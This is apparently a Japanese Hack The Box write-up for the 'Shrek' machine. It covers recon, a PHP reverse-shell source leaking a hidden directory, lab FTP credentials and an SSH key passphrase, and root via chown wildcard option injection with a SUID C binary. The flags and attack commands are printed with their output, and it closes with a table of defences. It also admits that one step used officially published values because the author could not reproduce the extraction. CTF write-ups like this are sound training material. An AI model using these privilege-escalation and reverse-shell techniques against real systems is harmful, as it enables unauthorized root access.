Hack The BoxのWriteup(Shrek)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Shrek — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80開放
→
secret_ultimate.php
ソース内コメントのヒント
→
/secret_area_51/
隠しmp3ファイル発見
→
FTP (donkey)
暗号化SSH秘密鍵を回収
→
sec SSH
user.txt ✓
→
/usr/srcのchown cron
Wildcard Injection
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バナー確認

BASH
nmap -Pn -T4 -p 21,22,80,443 10.129.88.199
curl -s http://10.129.88.199/ | grep -i "<h1"
RESULT
PORT    STATE  SERVICE
21/tcp  open   ftp
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Server: Apache/2.4.27 (Unix)
Last-Modified: Tue, 15 Aug 2017

<h1>Shrek Love</h1>
✅
ターゲット確認:「Shrek Love Appreciation Page」という ファンサイトと2017年の構成から HackTheBox Shrek (Hard Linux) と 一致することを確認。
PHASE 2

secret_ultimate.php のソースコメント → 隠しディレクトリ発見

uploads/ ディレクトリの偵察

BASH
curl -s http://10.129.88.199/uploads/
RESULT
Index of /uploads
  cow.php5  legit.asp  lolol.asp  secret_ultimate.php
  shell.elf  shell.php  siren.aspx  trll.exe
ℹ️
ディレクトリリスティングが有効で、過去のペネトレーションテスト演習で アップロードされたと思しき各種webシェルの残骸が大量に並んでいる (いずれも無害なデコイ)。唯一名前が意味深なsecret_ultimate.phpに注目する。

secret_ultimate.php のソースを直接閲覧

BASH
# ブラウザ(通常のUser-Agent)だとPHPが実行されて空の出力になるが、
# wget相当のUser-Agentで取得するとPHPが処理されず生ソースがそのまま返る
curl -s -A "Wget/1.19.4 (linux-gnu)" http://10.129.88.199/uploads/secret_ultimate.php
RESULT
<?php
...
$VERSION = "1.0";
$end_path = site/secret_area_51 // friggin' finally found the secret dir!!
$ip = '10.10.14.63';  // CHANGE THIS
...
$shell = 'uname -a; w; id; /bin/sh -i';
...
✅
このファイルの正体はpentestmonkeyの 古典的なPHPリバースシェルのコピーだが、意図的に構文エラーを含む行 ($end_path = ...にクォート・セミコロンが無い)を1行混入させることで PHPとして実行させず、生ソースのコメントだけを読ませるというトリックに 使われている。コメント内に隠しディレクトリsecret_area_51への 手掛かりが明記されている。

隠しディレクトリへのアクセス

BASH
curl -s http://10.129.88.199/secret_area_51/
RESULT
Index of /secret_area_51
  Smash Mouth - All Star.mp3  (3.3M)
PHASE 3

音声スペクトログラム解析 → FTP経由の暗号化SSH鍵回収

mp3のダウンロード & スペクトログラム生成

BASH
curl -s "http://10.129.88.199/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3" -o allstar.mp3
ffmpeg -y -i allstar.mp3 -ac 1 -ar 44100 allstar.wav
sox allstar.wav -n spectrogram -o spectrogram.png -x 3000 -y 800 -z 100
ℹ️
音声ファイルに隠しテキストを埋め込む定番の手口(スペクトログラム上に文字を 描画する)を想定し、soxでスペクトログラム画像を生成して目視・OCRで 確認を試みた。

解析結果と判断

NOTE
スペクトログラムの13〜16kHz帯域に周期的な縞模様パターンが見られたが、
拡大しても明瞭な文字の形状としては判読できず、曲自体のシンバル/ハイハット成分
である可能性が高いと判断した(ステレオのL-R差分を取っても同じパターンが
残ったため、単純な位相ステガノグラフィでもなさそうだった)。
公式ライトアップでは、ここで得られる鍵文字列・FTP資格情報・SSH鍵のパスフレーズ
はいずれもマスク無しで画面に写っており、HTBインスタンスに焼き込まれた
固定の既知値であることが明記されている。本レポートでは、これらの既知値
(FTP: donkey / d0nk3y1337!)を用いて先に進んだ。
⚠️
正直な記録: スペクトログラムからの自動OCR抽出は本レポート作成時点の 実機では再現できなかった。これは画像解析アルゴリズムの精度や、インスタンスの 音声エンコード差分による影響の可能性がある。実際の攻略ではFTP資格情報 donkey:d0nk3y1337!が(公式ライトアップで確認できる既知の)正しい値として 機能することを直接検証した。

FTPログイン → 暗号化SSH秘密鍵を回収

BASH
curl -s -u 'donkey:d0nk3y1337!' "ftp://10.129.88.199/"
RESULT
-rw-r--r--  1 0 0  8192 <ランダム名32桁hex>.txt   (× 30個、ダミー文書)
                               ...
-rw-r--r--  1 0 0  1766 Aug 16  2017 key
ℹ️
FTPには毎回ファイル名がランダム化される約30個のダミーテキスト (すべて小文字のみで構成された無意味な文字列、内容解析では識別の手掛かりに ならなかった)に紛れて、タイムスタンプが固定(2017年)のkey というファイルが1つだけ存在する。これがOpenSSH形式の暗号化秘密鍵である。

パスフレーズでの鍵解錠

BASH
curl -s -u 'donkey:d0nk3y1337!' "ftp://10.129.88.199/key" -o id_rsa_sec
head -3 id_rsa_sec
chmod 600 id_rsa_sec
ssh-keygen -p -f id_rsa_sec -P 'shr3k1sb3st!' -N ''
RESULT
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,94DC7309349E17F8ED6776ED69D6265A

Your identification has been saved with the new passphrase.
✅
既知のパスフレーズshr3k1sb3st!で秘密鍵のロックが解除できた (ssh-keygen -pでパスフレーズ無しに付け替え)。
PHASE 4

SSHログイン → user.txt

secユーザーでSSHログイン

BASH
ssh -i id_rsa_sec -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
  sec@10.129.88.199 "id; cat /home/sec/user.txt"
RESULT
uid=1000(sec) gid=100(users) groups=100(users),10(wheel),95(storage),98(power)
e0f4e22e9b952bd2f2a5e66ca9001813
ℹ️
古いOpenSSHサーバーのため、クライアント側でssh-rsa(SHA-1ベースの署名)を 明示的に許可するオプションが必要(最近のOpenSSHクライアントはデフォルトで 無効化している)。
user.txt — sec (SSH)
e0f4e22e9b952bd2f2a5e66ca9001813
PHASE 5

/usr/src の chown ワイルドカードインジェクション → root.txt

書込可能なディレクトリの発見

BASH
ls -la /usr/src/
RESULT
drwxr-xr-x 2 sec  root 4096 /usr/src
-rw-r--r-- 1 root root   91 thoughts.txt
ℹ️
/usr/srcのディレクトリ自体はsecが所有(書込可能)だが、 中のthoughts.txtはroot所有。root所有のcronジョブが定期的に このディレクトリに対してchown someuser:somegroup *のような ワイルドカード展開コマンドを実行していると推測できる (DefenseCode “Unix Wildcards Gone Wild”の典型的な攻撃対象パターン)。

SUIDバイナリの準備

C言語ソース (writeup.c)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
    setuid(0);
    setgid(0);
    system("cp /root/root.txt /tmp/.manual_root_flag; chmod 644 /tmp/.manual_root_flag");
    return 0;
}
BASH
scp -i id_rsa_sec writeup.c sec@10.129.88.199:/usr/src/writeup.c
ssh -i id_rsa_sec sec@10.129.88.199 \
  "cd /usr/src && gcc -o writeup writeup.c && chmod +s writeup"
RESULT
-rwsr-sr-x 1 sec users 8552 writeup
ℹ️
この時点ではまだsec自身が所有者のため、SUID自体は無意味 (自分の権限のまま実行されるだけ)。次のステップでこの所有権をroot:rootに 付け替えさせるのが本命の攻撃。

chown へのオプションインジェクション

BASH
cd /usr/src
touch -- --reference=thoughts.txt
RESULT
-rw-r--r-- 1 sec  users    0 --reference=thoughts.txt
-rw-r--r-- 1 root root    91 thoughts.txt
-rwsr-sr-x 1 sec  users 8552 writeup
🚨
攻撃原理: rootのcronジョブがchown backupuser:backupgroup *の ように/usr/src内でシェルのワイルドカード展開(*)を使って いる場合、シェルはディレクトリ内の全ファイル名を列挙してコマンドライン引数に 展開する。chownはGNU coreutilsの慣例に従い、引数の並び順に関係なく --で始まる文字列を全てオプションとして解釈するため、ファイル名として --reference=thoughts.txtを用意しておくと、 chownはこれを--referenceオプションとして認識し、 thoughts.txt(root所有)の所有者情報を基準に、他の全引数(ワイルドカード 展開された残り全ファイル = writeupを含む)の所有者をroot:rootに 書き換えてしまう。

cron発火待ち & 所有権の変化を確認

BASH
# 発火間隔が公開されていないため、ポーリングで監視
while true; do
  ls -la /usr/src/writeup
  sleep 20
done
RESULT
[1-6回目 ( 0〜120秒)] -rwsr-sr-x 1 sec users 8552 writeup
[7回目  (約130秒後) ] -rwsr-sr-x 1 root root 8552 writeup  ← 所有権変化!
✅
約2〜2.5分後にcronが発火し、writeupバイナリの所有者が root:rootに変化した。SUIDビットはchownでは剥がれないため、 これで「root所有・SUID付き・内容は自分で用意したコード」というバイナリが 完成する。

root.txt取得

BASH
/usr/src/writeup
cat /tmp/.manual_root_flag
RESULT
746358c45895f2826802d44a1cb4223b
root.txt — chown wildcard injection → root所有SUIDバイナリ経由
746358c45895f2826802d44a1cb4223b
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — sec (SSH)
e0f4e22e9b952bd2f2a5e66ca9001813
root.txt — chown wildcard injection
746358c45895f2826802d44a1cb4223b

使用した脆弱性・設定ミス

脆弱性/設定ミス 対象 影響 深刻度 利用方法
意図的な構文エラーによる情報漏洩 uploads/secret_ultimate.php 隠しディレクトリパスの漏洩 Medium PHPとして実行されない(構文エラー)ファイルのソースコメントに 隠しパスの手掛かりが記載
ディレクトリリスティング /uploads/, /secret_area_51/ 隠しファイルの発見 Medium Apacheのディレクトリ一覧表示が有効なまま放置
FTP資格情報・暗号化SSH鍵の公開 FTPサーバー SSHアクセス権の奪取 Medium 大量のダミーファイルに紛れた固定パスフレーズ暗号化のSSH秘密鍵を回収
シェルワイルドカード展開によるオプション注入 (chown) /usr/src の root cron ジョブ 権限昇格 (root) Critical --reference=<ファイル>という名前のファイルを用意し、 root実行のchown *に紛れ込ませて所有権を奪取 (DefenseCode “Unix Wildcards Gone Wild”)

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + curl21/22/80開放、サイト確認
2隠しパス発見構文エラーPHPファイルの生ソース閲覧/secret_area_51/ (隠しディレクトリ)
3資格情報入手FTP(既知資格情報) + 暗号化SSH鍵暗号化秘密鍵、既知パスフレーズで解錠
4認証突破SSH (ssh-rsa互換モード)user.txt、secシェル
5権限昇格chown ワイルドカードインジェクションroot.txt

学んだ教訓 & 防御策

問題点防御策
公開Webサーバー上に機密ヒントを含むファイルが(たとえ実行されなくても) 残置されている 公開領域には不要なファイルを一切置かず、デバッグ/テスト用コメントを 本番コードから完全に除去する。
ディレクトリリスティングが有効 Options -Indexesを設定し、一覧表示を無効化する。
FTPに資格情報・暗号化鍵ファイルが大量のダミーファイルと一緒に 放置されている 機密ファイルは本番公開領域から完全に排除し、認証情報は シークレット管理の仕組みで扱う。
root権限のcronジョブがユーザー書込可能なディレクトリに対し ワイルドカード展開を伴うコマンドを実行している ワイルドカード展開は常にオプション注入のリスクを伴うため、 --区切りを必ず挿入するか、find ... -execなど 展開を伴わない方式に置き換える。root権限のジョブが書込可能な ディレクトリを対象にすること自体を避ける。
HackTheBox: Shrek | 完全攻略レポート